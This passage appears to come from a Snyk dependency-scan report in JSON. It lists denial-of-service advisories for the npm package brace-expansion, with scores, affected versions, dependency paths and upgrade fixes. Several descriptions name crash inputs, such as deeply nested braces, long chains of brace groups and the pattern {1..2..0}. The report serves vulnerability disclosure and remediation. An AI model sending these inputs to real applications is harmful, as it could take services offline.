"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
